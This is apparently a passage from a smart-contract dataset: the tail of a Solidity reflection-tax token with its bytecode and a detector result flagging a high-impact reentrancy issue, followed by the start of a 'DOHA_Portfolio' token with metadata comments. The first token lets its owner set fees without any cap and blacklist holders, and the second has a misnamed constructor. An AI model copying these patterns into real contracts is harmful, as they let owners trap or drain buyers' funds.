return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610564578063dd62ed3e14610584578063ea1644d5146105ca578063f2fde38b146105ea57600080fd5b8063a2a957bb146104df578063a9059cbb146104ff578063bfd792841461051f578063c3c8cd801461054f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104565780638f9a55c01461047657806395d89b411461048c57806398a5c315146104bf57600080fd5b80637d1db4a5146103f55780637f2feddc1461040b5780638da5cb5b1461043857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038b57806370a08231146103a0578063715018a6146103c057806374010ece146103d557600080fd5b8063313ce5671461030f57806349bd5a5e1461032b5780636b9990531461034b5780636d8aa8f81461036b57600080fd5b80631694505e116101ab5780631694505e1461027c57806318160ddd146102b457806323b872dd146102d95780632fd689e3146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196e565b61060a565b005b34801561020a57600080fd5b506040805180820190915260138152725065722041737065726120416420417374726160681b60208201525b6040516102439190611a33565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611a88565b6106a9565b6040519015158152602001610243565b34801561028857600080fd5b5060145461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b50670de0b6b3a76400005b604051908152602001610243565b3480156102e557600080fd5b5061026c6102f4366004611ab4565b6106c0565b34801561030557600080fd5b506102cb60185481565b34801561031b57600080fd5b5060405160098152602001610243565b34801561033757600080fd5b5060155461029c906001600160a01b031681565b34801561035757600080fd5b506101fc610366366004611af5565b610729565b34801561037757600080fd5b506101fc610386366004611b22565b610774565b34801561039757600080fd5b506101fc6107bc565b3480156103ac57600080fd5b506102cb6103bb366004611af5565b610807565b3480156103cc57600080fd5b506101fc610829565b3480156103e157600080fd5b506101fc6103f0366004611b3d565b61089d565b34801561040157600080fd5b506102cb60165481565b34801561041757600080fd5b506102cb610426366004611af5565b60116020526000908152604090205481565b34801561044457600080fd5b506000546001600160a01b031661029c565b34801561046257600080fd5b506101fc610471366004611b22565b6108cc565b34801561048257600080fd5b506102cb60175481565b34801561049857600080fd5b5060408051808201909152600a815269546f546865537461727360b01b6020820152610236565b3480156104cb57600080fd5b506101fc6104da366004611b3d565b610914565b3480156104eb57600080fd5b506101fc6104fa366004611b56565b610943565b34801561050b57600080fd5b5061026c61051a366004611a88565b610981565b34801561052b57600080fd5b5061026c61053a366004611af5565b60106020526000908152604090205460ff1681565b34801561055b57600080fd5b506101fc61098e565b34801561057057600080fd5b506101fc61057f366004611b88565b6109e2565b34801561059057600080fd5b506102cb61059f366004611c0c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d657600080fd5b506101fc6105e5366004611b3d565b610a83565b3480156105f657600080fd5b506101fc610605366004611af5565b610ab2565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161063490611c45565b60405180910390fd5b60005b81518110156106a55760016010600084848151811061066157610661611c7a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069d81611ca6565b915050610640565b5050565b60006106b6338484610b9c565b5060015b92915050565b60006106cd848484610cc0565b61071f843361071a85604051806060016040528060288152602001611dc0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fc565b610b9c565b5060019392505050565b6000546001600160a01b031633146107535760405162461bcd60e51b815260040161063490611c45565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079e5760405162461bcd60e51b815260040161063490611c45565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f157506013546001600160a01b0316336001600160a01b0316145b6107fa57600080fd5b4761080481611236565b50565b6001600160a01b0381166000908152600260205260408120546106ba90611270565b6000546001600160a01b031633146108535760405162461bcd60e51b815260040161063490611c45565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c75760405162461bcd60e51b815260040161063490611c45565b601655565b6000546001600160a01b031633146108f65760405162461bcd60e51b815260040161063490611c45565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260040161063490611c45565b601855565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161063490611c45565b600893909355600a91909155600955600b55565b60006106b6338484610cc0565b6012546001600160a01b0316336001600160a01b031614806109c357506013546001600160a01b0316336001600160a01b0316145b6109cc57600080fd5b60006109d730610807565b9050610804816112f4565b6000546001600160a01b03163314610a0c5760405162461bcd60e51b815260040161063490611c45565b60005b82811015610a7d578160056000868685818110610a2e57610a2e611c7a565b9050602002016020810190610a439190611af5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7581611ca6565b915050610a0f565b50505050565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161063490611c45565b601755565b6000546001600160a01b03163314610adc5760405162461bcd60e51b815260040161063490611c45565b6001600160a01b038116610b415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610634565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610634565b6001600160a01b038216610c5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610634565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610634565b6001600160a01b038216610d865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610634565b60008111610de85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610634565b6000546001600160a01b03848116911614801590610e1457506000546001600160a01b03838116911614155b156110f557601554600160a01b900460ff16610ead576000546001600160a01b03848116911614610ead5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610634565b601654811115610eff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610634565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4157506001600160a01b03821660009081526010602052604090205460ff16155b610f995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610634565b6015546001600160a01b0383811691161461101e5760175481610fbb84610807565b610fc59190611cc1565b1061101e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610634565b600061102930610807565b6018546016549192508210159082106110425760165491505b8080156110595750601554600160a81b900460ff16155b801561107357506015546001600160a01b03868116911614155b80156110885750601554600160b01b900460ff165b80156110ad57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d257506001600160a01b03841660009081526005602052604090205460ff16155b156110f2576110e0826112f4565b4780156110f0576110f047611236565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113757506001600160a01b03831660009081526005602052604090205460ff165b8061116957506015546001600160a01b0385811691161480159061116957506015546001600160a01b03848116911614155b15611176575060006111f0565b6015546001600160a01b0385811691161480156111a157506014546001600160a01b03848116911614155b156111b357600854600c55600954600d555b6015546001600160a01b0384811691161480156111de57506014546001600160a01b03858116911614155b156111f057600a54600c55600b54600d555b610a7d8484848461147d565b600081848411156112205760405162461bcd60e51b81526004016106349190611a33565b50600061122d8486611cd9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a5573d6000803e3d6000fd5b60006006548211156112d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610634565b60006112e16114ab565b90506112ed83826114ce565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133c5761133c611c7a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139057600080fd5b505afa1580156113a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c89190611cf0565b816001815181106113db576113db611c7a565b6001600160a01b0392831660209182029290920101526014546114019130911684610b9c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143a908590600090869030904290600401611d0d565b600060405180830381600087803b15801561145457600080fd5b505af1158015611468573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148a5761148a611510565b61149584848461153e565b80610a7d57610a7d600e54600c55600f54600d55565b60008060006114b8611635565b90925090506114c782826114ce565b9250505090565b60006112ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611675565b600c541580156115205750600d54155b1561152757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611550876116a3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115829087611700565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b19086611742565b6001600160a01b0389166000908152600260205260409020556115d3816117a1565b6115dd84836117eb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061165082826114ce565b82101561166c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116965760405162461bcd60e51b81526004016106349190611a33565b50600061122d8486611d7e565b60008060008060008060008060006116c08a600c54600d5461180f565b92509250925060006116d06114ab565b905060008060006116e38e878787611864565b919e509c509a509598509396509194505050505091939550919395565b60006112ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fc565b60008061174f8385611cc1565b9050838110156112ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610634565b60006117ab6114ab565b905060006117b983836118b4565b306000908152600260205260409020549091506117d69082611742565b30600090815260026020526040902055505050565b6006546117f89083611700565b6006556007546118089082611742565b6007555050565b6000808080611829606461182389896118b4565b906114ce565b9050600061183c60646118238a896118b4565b905060006118548261184e8b86611700565b90611700565b9992985090965090945050505050565b600080808061187388866118b4565b9050600061188188876118b4565b9050600061188f88886118b4565b905060006118a18261184e8686611700565b939b939a50919850919650505050505050565b6000826118c3575060006106ba565b60006118cf8385611da0565b9050826118dc8583611d7e565b146112ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610634565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080457600080fd5b803561196981611949565b919050565b6000602080838503121561198157600080fd5b823567ffffffffffffffff8082111561199957600080fd5b818501915085601f8301126119ad57600080fd5b8135818111156119bf576119bf611933565b8060051b604051601f19603f830116810181811085821117156119e4576119e4611933565b604052918252848201925083810185019188831115611a0257600080fd5b938501935b82851015611a2757611a188561195e565b84529385019392850192611a07565b98975050505050505050565b600060208083528351808285015260005b81811015611a6057858101830151858201604001528201611a44565b81811115611a72576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9b57600080fd5b8235611aa681611949565b946020939093013593505050565b600080600060608486031215611ac957600080fd5b8335611ad481611949565b92506020840135611ae481611949565b929592945050506040919091013590565b600060208284031215611b0757600080fd5b81356112ed81611949565b8035801515811461196957600080fd5b600060208284031215611b3457600080fd5b6112ed82611b12565b600060208284031215611b4f57600080fd5b5035919050565b60008060008060808587031215611b6c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9d57600080fd5b833567ffffffffffffffff80821115611bb557600080fd5b818601915086601f830112611bc957600080fd5b813581811115611bd857600080fd5b8760208260051b8501011115611bed57600080fd5b602092830195509350611c039186019050611b12565b90509250925092565b60008060408385031215611c1f57600080fd5b8235611c2a81611949565b91506020830135611c3a81611949565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cba57611cba611c90565b5060010190565b60008219821115611cd457611cd4611c90565b500190565b600082821015611ceb57611ceb611c90565b500390565b600060208284031215611d0257600080fd5b81516112ed81611949565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5d5784516001600160a01b031683529383019391830191600101611d38565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dba57611dba611c90565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c996236182e6c8a2065f203cc9a710340ec264df605a8f5cc07373aa1db4d87964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,068 |
0xe040326db0847016039a1276f1bc106342b0b2d0
|
pragma solidity ^0.4.21 ;
contract DOHA_Portfolio_Ib_883 {
mapping (address => uint256) public balanceOf;
string public name = " DOHA_Portfolio_Ib_883 " ;
string public symbol = " DOHA883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 731661609544533000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DOHA_Portfolio_I_metadata_line_1_____QNB_20250515 >
// < hU1zJfAXIWjwRzQjUIScl4o8bq7axH6HuBDtiGTA019b7oj61f5kl4696PW83S71 >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016274632.348746100000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000000000018D547 >
// < DOHA_Portfolio_I_metadata_line_2_____Qatar_Islamic_Bank_20250515 >
// < 17aFYFQ9CA4SOK0902m34ul7ucv4VLQA7cAR72zAxTdG265k7AnJ5mep6RUfDuBJ >
// < u =="0.000000000000000001" : ] 000000016274632.348746100000000000 ; 000000035339142.975448700000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000018D54735EC5A >
// < DOHA_Portfolio_I_metadata_line_3_____Comm_Bank_of_Qatar_20250515 >
// < V83Tsv22iNFkOrBA3D5U7jIA6cJKFb2e1qMTHct8247Wh5x6Y2t3wL8CjA5fQQdR >
// < u =="0.000000000000000001" : ] 000000035339142.975448700000000000 ; 000000052957892.175272000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000035EC5A50CEAD >
// < DOHA_Portfolio_I_metadata_line_4_____Doha_Bank_20250515 >
// < qUju69Sx8gMl6OkjbtMkUItcls3LKlv685Dfa6ulBiQciq6U16poLhbAC3gZ611Y >
// < u =="0.000000000000000001" : ] 000000052957892.175272000000000000 ; 000000071717351.549108500000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000050CEAD6D6E97 >
// < DOHA_Portfolio_I_metadata_line_5_____Ahli_Bank_20250515 >
// < C7KoV79oZ8H6SAQEo25AofOM0UL4Wn90au54EN7gqZ49lB6Zm1ry6a6c2AE4ZONG >
// < u =="0.000000000000000001" : ] 000000071717351.549108500000000000 ; 000000090903570.386118500000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000006D6E978AB535 >
// < DOHA_Portfolio_I_metadata_line_6_____Intl_Islamic_Bank_20250515 >
// < 7rN94JK4sOb7NGC86JU49Xuh7En2gss8bD2J45V1KsuZeEf4iU1cCCbsWgv3GhmH >
// < u =="0.000000000000000001" : ] 000000090903570.386118500000000000 ; 000000107832399.217995000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000008AB535A48A08 >
// < DOHA_Portfolio_I_metadata_line_7_____Rayan_20250515 >
// < Jgp0QI6C7OKSGJ8Z6N1fmQ2Z9Vse0rP274ezlcf0Aw4r9xPLxdBsWlq50Ev9p5hl >
// < u =="0.000000000000000001" : ] 000000107832399.217995000000000000 ; 000000127559187.842301000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000A48A08C2A3CF >
// < DOHA_Portfolio_I_metadata_line_8_____Qatar_Insurance_20250515 >
// < dc0Y668z2toyy6N8eT2QhKGmjh3P9YALc88654xY56D1mTvAY1y6SDKxZpbb3CNi >
// < u =="0.000000000000000001" : ] 000000127559187.842301000000000000 ; 000000144536843.696412000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000C2A3CFDC8BB4 >
// < DOHA_Portfolio_I_metadata_line_9_____Doha_Insurance_20250515 >
// < NV9L14h25w61rSg9X9zQDFwy3e7gOu6msP2r2949VmDhJ61fzo9ggNu70wgodwgJ >
// < u =="0.000000000000000001" : ] 000000144536843.696412000000000000 ; 000000161032169.770494000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000000DC8BB4F5B731 >
// < DOHA_Portfolio_I_metadata_line_10_____General_Insurance_20250515 >
// < b1qf4nM067k5B0WSoo7wshTv2h1grIOR8ra5A8xKb8ba8Ftoo4uO5zO5bcG5BH3Z >
// < u =="0.000000000000000001" : ] 000000161032169.770494000000000000 ; 000000179876905.111256000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000F5B731112786B >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DOHA_Portfolio_I_metadata_line_11_____Islamic_Insurance_20250515 >
// < 9qcbUt0742le3FI3SDqDZc281rNM6nRV9Tgn6uOyNz9mP1sOm7U6mdHY1s42dUSd >
// < u =="0.000000000000000001" : ] 000000179876905.111256000000000000 ; 000000195844859.003573000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000112786B12AD5E6 >
// < DOHA_Portfolio_I_metadata_line_12_____Ind_Manf_Co_20250515 >
// < 3H6E0f64Nrl2wS84a41EU74v4M6e50Mm8O3KhW9zKMWtQVfVXlbaH0ZD02uiY3qj >
// < u =="0.000000000000000001" : ] 000000195844859.003573000000000000 ; 000000216103494.501970000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000012AD5E6149BF6D >
// < DOHA_Portfolio_I_metadata_line_13_____National_Cement_Co_20250515 >
// < 11T8O4S7kL062mgfNaHVj1Jul8Aep7d6pgFGRfoH7H8zq2MBzk503lJ7JTpp4pgT >
// < u =="0.000000000000000001" : ] 000000216103494.501970000000000000 ; 000000231573394.642144000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000149BF6D1615A5B >
// < DOHA_Portfolio_I_metadata_line_14_____Zad_Holding_Company_20250515 >
// < uAFlkA36REFbTmSIiAdy3506KdOr51okG3tGVZjDm0r8PawduO933AFNYY1c9wn2 >
// < u =="0.000000000000000001" : ] 000000231573394.642144000000000000 ; 000000248503661.237730000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001615A5B17B2FBE >
// < DOHA_Portfolio_I_metadata_line_15_____Industries_Qatar_20250515 >
// < 6j92OsXVYJ1l6U92UvJgrT5085Km60aNuDmNrGUo2wmJ2fGzzodsd0R1lKLYd95o >
// < u =="0.000000000000000001" : ] 000000248503661.237730000000000000 ; 000000269472454.885304000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000017B2FBE19B2EAD >
// < DOHA_Portfolio_I_metadata_line_16_____United_Dev_Company_20250515 >
// < K8Uz43p03ZRnsM1I1El5l3FOWnAU2UL50ofgWD9Evb1cen5H0cUmLc39dX9rj026 >
// < u =="0.000000000000000001" : ] 000000269472454.885304000000000000 ; 000000287571177.938346000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000019B2EAD1B6CC7E >
// < DOHA_Portfolio_I_metadata_line_17_____Qatar_German_Co_Med_20250515 >
// < lzt1mh1llK1Q9o9vqKWGwq40eMl57QjE92hs9V143a0GSW1E05C48hBvXeShZe6J >
// < u =="0.000000000000000001" : ] 000000287571177.938346000000000000 ; 000000308285565.409239000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001B6CC7E1D6680D >
// < DOHA_Portfolio_I_metadata_line_18_____The_Investors_20250515 >
// < tP1j5nLD1kSaQT5q80bu54TH699s4Jlr9oVDz6Y283K7MoY9P3q048QfAUBot3sJ >
// < u =="0.000000000000000001" : ] 000000308285565.409239000000000000 ; 000000327290026.380911000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001D6680D1F367AB >
// < DOHA_Portfolio_I_metadata_line_19_____Ooredoo_20250515 >
// < S5toJup3HvP9lOX9U8vDvbI52NVjMFj8ZBaZ0fb4v48CxvsikOWQ7gFR8jozIFU1 >
// < u =="0.000000000000000001" : ] 000000327290026.380911000000000000 ; 000000345131694.306823000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001F367AB20EA111 >
// < DOHA_Portfolio_I_metadata_line_20_____Electricity_Water_20250515 >
// < 16tFUCxP9z56o56qEP4d9DpOo12O5v43dOuDdZOIF9y2DV2wz12EYSRRSac0yD4u >
// < u =="0.000000000000000001" : ] 000000345131694.306823000000000000 ; 000000362497439.836218000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000020EA1112292090 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DOHA_Portfolio_I_metadata_line_21_____Salam_International_20250515 >
// < Ni1yj387aR192u9HPN00pvqzg4enG5LZ0oNst39961slyNHKscdK470agBRt3iCM >
// < u =="0.000000000000000001" : ] 000000362497439.836218000000000000 ; 000000382904305.195081000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000229209024843FF >
// < DOHA_Portfolio_I_metadata_line_22_____National_Leasing_20250515 >
// < Bv985pP18xveBi1B932C9wtp2WoN0gNU5nM7x84lXw956S7X7U3t9BLCtjWzyExF >
// < u =="0.000000000000000001" : ] 000000382904305.195081000000000000 ; 000000400194896.475562000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000024843FF262A622 >
// < DOHA_Portfolio_I_metadata_line_23_____Qatar_Navigation_20250515 >
// < qR6ygvkxcKIMgf1nv2OjY5443PwX398dMscw07K17J9df3j7D7EAnTV52b7af8P4 >
// < u =="0.000000000000000001" : ] 000000400194896.475562000000000000 ; 000000421541317.440349000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000262A6222833894 >
// < DOHA_Portfolio_I_metadata_line_24_____Medicare_20250515 >
// < n2wn10DZWnFK7x51f67xoOH08Q9oP7jChMEeM6LUa7ScseH8zv9xFuZAQ5Z5H3p8 >
// < u =="0.000000000000000001" : ] 000000421541317.440349000000000000 ; 000000439914097.661349000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000283389429F4172 >
// < DOHA_Portfolio_I_metadata_line_25_____Qatar_Fuel_20250515 >
// < 6IGcy1yy61hb6zPZa15c18ZM7eYHFe4xR9ZKoL3779fl3qHmF3n113kPgI5DCf7X >
// < u =="0.000000000000000001" : ] 000000439914097.661349000000000000 ; 000000458367335.013190000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000029F41722BB69BE >
// < DOHA_Portfolio_I_metadata_line_26_____Widam_20250515 >
// < 119X5jFvluZlpeZbBncK0LlpeL5gzbVpU1W7Y0LS8IH91FrG91vQ8ylH1Yb8oD8K >
// < u =="0.000000000000000001" : ] 000000458367335.013190000000000000 ; 000000478441596.983324000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002BB69BE2DA0B40 >
// < DOHA_Portfolio_I_metadata_line_27_____Gulf_Warehousing_Co_20250515 >
// < QS08Q002ksrpV138t16vm9PPqjP685d2uV6qI37ubxd9C04ZCU59pVJ1724VWRd0 >
// < u =="0.000000000000000001" : ] 000000478441596.983324000000000000 ; 000000497169845.837768000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002DA0B402F69EF9 >
// < DOHA_Portfolio_I_metadata_line_28_____Nakilat_20250515 >
// < Zd7z6d719i7nP8Ojfi5Hv9MG4yNDDuT5J92k2oCR6ApxRj5gX9vj0X686KLG91uG >
// < u =="0.000000000000000001" : ] 000000497169845.837768000000000000 ; 000000518690628.088998000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002F69EF93177587 >
// < DOHA_Portfolio_I_metadata_line_29_____Dlala_20250515 >
// < JAjRd29ZC9NJdJs2BAybBuwjK9S5Sl8R84ZLN7TG5T00GAPc70iu52Ch9f4FN1gc >
// < u =="0.000000000000000001" : ] 000000518690628.088998000000000000 ; 000000537450199.090268000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003177587334157C >
// < DOHA_Portfolio_I_metadata_line_30_____Barwa_20250515 >
// < 3rm72307dFqy6I9rsdy9v2D64Jsc2YN8NY1kiEqw1aqSCW9AXUx8R47iaxK2y4pP >
// < u =="0.000000000000000001" : ] 000000537450199.090268000000000000 ; 000000556120702.498486000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000334157C35092A6 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < DOHA_Portfolio_I_metadata_line_31_____Mannai_Corp_20250515 >
// < R87R6f1o3Ao0dMab8CRn1x667z1y32Al3735wQIW8ob6GRn8ZwgTt436F91hkkrS >
// < u =="0.000000000000000001" : ] 000000556120702.498486000000000000 ; 000000571250335.778555000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000035092A6367A8AA >
// < DOHA_Portfolio_I_metadata_line_32_____Aamal_20250515 >
// < 20Q0BmypqM20e2D7tAvz0me07Dd088s5Lhrt45dvA5miuAkV7ZZZF4ER03Q6Yg6I >
// < u =="0.000000000000000001" : ] 000000571250335.778555000000000000 ; 000000589336693.020642000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000367A8AA38341A5 >
// < DOHA_Portfolio_I_metadata_line_33_____Ezdan_Holding_20250515 >
// < 6mx3P53haYX3py1lC65ju35E6TuSEj96O2zsyx368CEU3j8tkRjR976WA0w752TI >
// < u =="0.000000000000000001" : ] 000000589336693.020642000000000000 ; 000000609982290.002993000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000038341A53A2C255 >
// < DOHA_Portfolio_I_metadata_line_34_____Islamic_Holding_20250515 >
// < HOv8F7Kx6y6s42u5L2b3RlXf1bfDe8IW2Z36aH4C17kpvYr1o3C24em55214cE14 >
// < u =="0.000000000000000001" : ] 000000609982290.002993000000000000 ; 000000629463147.327816000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003A2C2553C07C0B >
